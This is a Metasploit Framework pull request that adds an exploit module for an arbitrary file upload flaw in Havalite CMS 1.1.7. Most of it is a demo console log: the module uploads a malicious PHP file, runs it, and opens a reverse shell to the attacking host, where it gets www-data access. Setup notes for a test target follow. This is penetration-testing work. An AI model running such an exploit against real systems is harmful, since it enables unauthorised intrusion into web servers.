rapid7/metasploit-framework — pull request #1983 by wchen-r7 (2013-06-19 07:27:42+00:00)
Title: Add OSVDB-94405 - Havalite CMS Arbitary File Upload Vulnerability

Demo:

msf exploit(havalite_upload_exec) > check

[*] 10.0.1.80:80 - Version found: 1.1.7
[+] The target is vulnerable.
msf exploit(havalite_upload_exec) > exploit

[*] Started reverse handler on 10.0.1.76:4444
[*] 10.0.1.80:80 - Uploading malicious file...
[*] 10.0.1.80:80 - Executing FoOtS.php...
[*] Sending stage (36 bytes) to 10.0.1.80
[*] Command shell session 8 opened (10.0.1.76:4444 -> 10.0.1.80:45781) at 2013-06-19 02:22:56 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

You can download the cms here:
http://www.exploit-db.com/exploits/26243/

Installation instructions:
http://havalite.com/?p=27

If you're wondering how to do this: "php5 or above with PDO and SqLite3 driver enabled", here's how:
sudo apt-get install php5-sqlite